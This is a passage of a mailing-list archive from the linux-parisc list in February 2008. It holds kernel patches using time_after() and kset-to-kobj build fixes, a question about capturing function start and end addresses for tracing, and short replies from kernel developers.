	Thu, 14 Feb 2008 10:39:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753183AbYBNPjN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 Feb 2008 10:39:13 -0500
Original-Received: from ns2.uludag.org.tr ([193.140.100.220]:49911 "EHLO uludag.org.tr"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752788AbYBNPjL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Feb 2008 10:39:11 -0500
Original-Received: from localhost (unknown [85.103.100.31])
	by uludag.org.tr (Postfix) with ESMTP id 112F861E408D;
	Thu, 14 Feb 2008 17:39:00 +0200 (EET)
X-Mailer: git-send-email 1.5.3.7
In-Reply-To: y
Original-References: y
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:114 gmane.linux.kernel:639884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/114>

The functions time_before, time_before_eq, time_after, and time_after_e=
q are more robust for comparing jiffies against other values.

So following patch implements usage of the time_after() macro, defined =
at linux/jiffies.h, which deals with wrapping correctly

Cc: linux-parisc@vger.kernel.org
Signed-off-by: S.=C3=87a=C4=9Flar Onur <caglar@pardus.org.tr>
---
 arch/parisc/kernel/unaligned.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unalig=
ned.c
index aebf3c1..19b8a79 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -460,7 +460,7 @@ void handle_unaligned(struct pt_regs *regs)
 			goto force_sigbus;
 		}
=20
-		if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
+		if (unaligned_count > 5 && time_after(jiffies, last_time + 5 * HZ)) =
{
 			unaligned_count =3D 0;
 			last_time =3D jiffies;
 		}
--=20
1.5.3.7


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc compile error
Date: Fri, 15 Feb 2008 11:42:27 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <JWA0ER$69F0160369E3E3D45E8196C6620D02EE@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1203072178 10773 80.91.229.12 (15 Feb 2008 10:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Feb 2008 10:42:58 +0000 (UTC)
Cc: "kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 15 11:43:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPy2F-00076P-N5
	for glpp-linux-parisc@gmane.org; Fri, 15 Feb 2008 11:43:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758573AbYBOKmp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Feb 2008 05:42:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758749AbYBOKmp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 Feb 2008 05:42:45 -0500
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:34650 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758573AbYBOKmo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Feb 2008 05:42:44 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1FAgROi024602;
	Fri, 15 Feb 2008 11:42:28 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:115
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/115>

> On Wed, Feb 13, 2008 at 07:49:12AM +0100, rubisher wrote:
> > --- include/asm-parisc/pgtable.h.Orig	2007-10-22 08:19:20.000000000 +0000
> > +++ include/asm-parisc/pgtable.h	2008-02-12 16:28:36.000000000 +0000
> > +extern  void *vmalloc_start;
> > +#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
> > +#define VMALLOC_START   ((unsigned long)vmalloc_start)
> > +/* this is a fixmap remnant, see fixmap.h */
> > +#define VMALLOC_END	(KERNEL_MAP_END)
> > +
> 
> i moved this to fixmap.h, since i think it makes more sense there,
> really.
> 
Nice to me too ;-)

(btw where can I grab your latest update. I didn't yet see in your git
linux-2.6-snaps or any other place I know)?

Tx,
    r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Fri, 15 Feb 2008 11:44:52 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <JWA0IS$52EB33BDF46A1EBD2B77B8DCB8FC63DF@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1203072336 11262 80.91.229.12 (15 Feb 2008 10:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Feb 2008 10:45:36 +0000 (UTC)
Cc: "kyle" <kyle@mcmartin.ca>, "clameter" <clameter@sgi.com>,
	"bunk" <bunk@kernel.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 15 11:45:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPy4l-00076P-Ik
	for glpp-linux-parisc@gmane.org; Fri, 15 Feb 2008 11:45:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756326AbYBOKpV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Feb 2008 05:45:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757751AbYBOKpV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 Feb 2008 05:45:21 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:36012 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756326AbYBOKpU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Feb 2008 05:45:20 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1FAiqcj023464;
	Fri, 15 Feb 2008 11:44:53 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:116 gmane.linux.kernel:640369
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/116>

> On Wed, Feb 13, 2008 at 01:42:10PM +0100, rubisher wrote:
> >     - some lake of changes of kset to kobj:
> 
> thanks, i don't build this driver, somehow it made its way out of my
> configs. patch looks correct though. applied.
> 
Cool ;-)

Btw, it boot fine to me on b2k and d380 running all up 32bit kernels ;-)

Cheers,
    r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: How to grab begining/end functions' address? [Wa: 'Trace patches
 test' ]
Date: Sun, 17 Feb 2008 10:52:28 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <47B811EC.3080707@scarlet.be>
References: <JV1SEX$ACF9E213A9B966069761EDBBFFD7BB89@scarlet.be> <20080123071343.GD20348@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203245545 22254 80.91.229.12 (17 Feb 2008 10:52:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Feb 2008 10:52:25 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 17 11:52:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JQh8S-0003dV-NG
	for glpp-linux-parisc@gmane.org; Sun, 17 Feb 2008 11:52:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753554AbYBQKwH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Feb 2008 05:52:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753601AbYBQKwG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Feb 2008 05:52:06 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:49456 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753554AbYBQKwF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Feb 2008 05:52:05 -0500
Original-Received: from [213.49.72.68] (ip-213-49-72-68.dsl.scarlet.be [213.49.72.68])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1HApuU8002423;
	Sun, 17 Feb 2008 11:51:57 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080123071343.GD20348@colo.lackof.org>
X-DCC-scarlet.be-Metrics: hel 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:117
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/117>

Grant Grundler wrote:
> On Tue, Jan 22, 2008 at 02:35:21PM +0100, rubisher wrote:
>> Btw, a while back, I dream to use relayfs to grab debug info.
>> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)
>>
>> Somebody else write it:
>> <http://lkml.org/lkml/2007/11/13/208>
>>
>> Obviously, I have to instrument things manually but I test it succesfully.
>> Here is already some primarily data test:
>> [snip]
>> :1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
>> 0x63b4896 size: 0x1000
>> :1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
>> :1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
>> 0x63b5096 size: 0x1000
> ...
>> Exciting results?
> 
> Yes! Nice!
> 
>> (just what would give me DEBUG_RUN() printk() but without
>>  degrading system performance)
> 
> I don't believe that. :)
> Measure the CPU utilization and/or compare pktgen performance with
> and without the tracing compiled into the kernel.
> 
> However, that doesn't mean this is useless. This is alot better than
> rolling our own "light weight" tracing mechanism and it's certainly
> alot better than using printk's to debug DMA issues (as long as
> the system doesn't crash - e.g. HPMC).
> 
> hth,
> grant
> 
>> I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
>> collect more.
>>
Hello Grant,

Has far as the gcc builtin instrument-functions doesn't work as I expected, I would like to grab manually the address of the 
functions' begin and end like something:
void foo(){
foo_start:
	printk ("%s() start at %p.\n, __FUNCTION__, ???ADDRESS_OF???(foo_start);
[snip]
foo_end:
	printk ("%s() start at %p.\n, __FUNCTION__, ???ADDRESS_OF???(foo_end);
};

It seems to me that I read it something like this in the past but no means to remember how to do it.
Can you help me to refresh my mind?

Tia,
	r.

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: How to grab begining/end functions' address? [Wa: 'Trace patches test' ]
Date: Sun, 17 Feb 2008 07:17:43 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20080217141742.GC21012@parisc-linux.org>
References: <JV1SEX$ACF9E213A9B966069761EDBBFFD7BB89@scarlet.be> <20080123071343.GD20348@colo.lackof.org> <47B811EC.3080707@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203257873 24036 80.91.229.12 (17 Feb 2008 14:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Feb 2008 14:17:53 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 17 15:18:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JQkLP-0003yD-Gy
	for glpp-linux-parisc@gmane.org; Sun, 17 Feb 2008 15:18:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755923AbYBQORo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Feb 2008 09:17:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755890AbYBQORo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Feb 2008 09:17:44 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:46805 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755675AbYBQORn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Feb 2008 09:17:43 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 54706494005; Sun, 17 Feb 2008 07:17:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <47B811EC.3080707@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/118>

On Sun, Feb 17, 2008 at 10:52:28AM +0000, rubisher wrote:
> Has far as the gcc builtin instrument-functions doesn't work as I expected, 
> I would like to grab manually the address of the functions' begin and end 
> like something:
> void foo(){
> foo_start:
> 	printk ("%s() start at %p.\n, __FUNCTION__, 
> 	???ADDRESS_OF???(foo_start);
> [snip]
> foo_end:
> 	printk ("%s() start at %p.\n, __FUNCTION__, 
> 	???ADDRESS_OF???(foo_end);
> };
> 
> It seems to me that I read it something like this in the past but no means 
> to remember how to do it.

The kernel already has code to do this -- look at the stack backtraces.
They show addresses, function names and length of the function.  Start
by looking at BUG() and trace through to find out how the kernel does
this.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Sun, 17 Feb 2008 17:36:04 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20080217223604.GA26901@phobos.i.cabal.ca>
References: <JW6GMA$1445536B7A545413BA0D6B6753D6901F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203287784 18292 80.91.229.12 (17 Feb 2008 22:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Feb 2008 22:36:24 +0000 (UTC)
Cc: "rubi.sher" <rubi.sher@scarlet.be>, kyle <kyle@mcmartin.ca>,
	clameter <clameter@sgi.com>, bunk <bunk@kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 17 23:36:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JQs7k-0001Er-0v
	for glpp-linux-parisc@gmane.org; Sun, 17 Feb 2008 23:36:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753976AbYBQWgI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Feb 2008 17:36:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754049AbYBQWgI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Feb 2008 17:36:08 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:30310 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753976AbYBQWgH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Feb 2008 17:36:07 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 71F951783AC; Sun, 17 Feb 2008 17:36:04 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <JW6GMA$1445536B7A545413BA0D6B6753D6901F@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:119 gmane.linux.kernel:641550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/119>

On Wed, Feb 13, 2008 at 01:42:10PM +0100, rubisher wrote:
>

Can I get your Signed-off-by for this, Joel? (I assume you are Joel :)

cheers, Kyle

>     - some lake of changes of kset to kobj:
> --- ./drivers/parisc/pdc_stable.c.Orig	2008-01-28 07:09:26.000000000 +0000
> +++ ./drivers/parisc/pdc_stable.c	2008-02-13 11:22:16.000000000 +0000
> @@ -829,7 +829,7 @@
>  				   struct kobj_attribute *attr,
>  				   const char *buf, size_t count)
>  {
> -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOBOOT);
> +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOBOOT);
>  }
>  
>  /**
> @@ -845,7 +845,7 @@
>  				     struct kobj_attribute *attr,
>  				     const char *buf, size_t count)
>  {
> -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOSEARCH);
> +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOSEARCH);
>  }
>  
>  /**
> @@ -1066,7 +1066,7 @@
>  	}
>  
>  	/* Don't forget the root entries */
> -	error = sysfs_create_group(stable_kobj, pdcs_attr_group);
> +	error = sysfs_create_group(stable_kobj, &pdcs_attr_group);
>  
>  	/* register the paths kset as a child of the stable kset */
>  	paths_kset = kset_create_and_add("paths", NULL, stable_kobj);
> === <> ===
> 
> And the kernel build, but I don't yet try to boot it...
> 
> Hth,
> r.
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
> 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Mon, 18 Feb 2008 11:32:58 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <JWFJYY$FFD787B99A1F5B88A6B9433FC2F06B18@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1203330813 24161 80.91.229.12 (18 Feb 2008 10:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Feb 2008 10:33:33 +0000 (UTC)
Cc: "kyle" <kyle@mcmartin.ca>, "clameter" <clameter@sgi.com>,
	"bunk" <bunk@kernel.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 18 11:33:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JR3Jp-0006cD-4t
	for glpp-linux-parisc@gmane.org; Mon, 18 Feb 2008 11:33:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756080AbYBRKdW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Feb 2008 05:33:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756732AbYBRKdV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Feb 2008 05:33:21 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:49251 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755959AbYBRKdU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Feb 2008 05:33:20 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1IAWwsV029006;
	Mon, 18 Feb 2008 11:32:58 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:120 gmane.linux.kernel:641765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/120>

> On Wed, Feb 13, 2008 at 01:42:10PM +0100, rubisher wrote:
> >
> 
> Can I get your Signed-off-by for this, Joel? (I assume you are Joel :)
> 
Yes the previous account seems to be a bit old and look more and more like a
gc; I so take the opportunity of ml's change to use another pseudo ;-)

That said those 2 hunks help build (even boot my 32bit up kernel on b2k and
d380 boxes):

Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>

(any advise is welcome obviously ;-)

r.

> cheers, Kyle
> 
> >     - some lake of changes of kset to kobj:
> > --- ./drivers/parisc/pdc_stable.c.Orig	2008-01-28 07:09:26.000000000 +0000
> > +++ ./drivers/parisc/pdc_stable.c	2008-02-13 11:22:16.000000000 +0000
> > @@ -829,7 +829,7 @@
> >  				   struct kobj_attribute *attr,
> >  				   const char *buf, size_t count)
> >  {
> > -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOBOOT);
> > +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOBOOT);
> >  }
> >  
> >  /**
> > @@ -845,7 +845,7 @@
> >  				     struct kobj_attribute *attr,
> >  				     const char *buf, size_t count)
> >  {
> > -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOSEARCH);
> > +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOSEARCH);
> >  }
> >  
> >  /**
> > @@ -1066,7 +1066,7 @@
> >  	}
> >  
> >  	/* Don't forget the root entries */
> > -	error = sysfs_create_group(stable_kobj, pdcs_attr_group);
> > +	error = sysfs_create_group(stable_kobj, &pdcs_attr_group);
> >  
> >  	/* register the paths kset as a child of the stable kset */
> >  	paths_kset = kset_create_and_add("paths", NULL, stable_kobj);
> > === <> ===
> > 
> > And the kernel build, but I don't yet try to boot it...
> > 
> > Hth,
> > r.
> > ---
> > Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> > http://www.scarlet.be/
> > 
> > -
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Mon, 18 Feb 2008 12:14:59 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20080218171459.GC6912@phobos.i.cabal.ca>
References: <JWFJYY$FFD787B99A1F5B88A6B9433FC2F06B18@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203354919 17671 80.91.229.12 (18 Feb 2008 17:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Feb 2008 17:15:19 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>, clameter <clameter@sgi.com>,
	bunk <bunk@kernel.org>, kyle <kyle@parisc-linux.org>,
	matthew <matthew@wil.cx>, grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 18 18:15:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JR9aY-0004LG-GZ
	for glpp-linux-parisc@gmane.org; Mon, 18 Feb 2008 18:15:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752592AbYBRRPD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Feb 2008 12:15:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752552AbYBRRPB
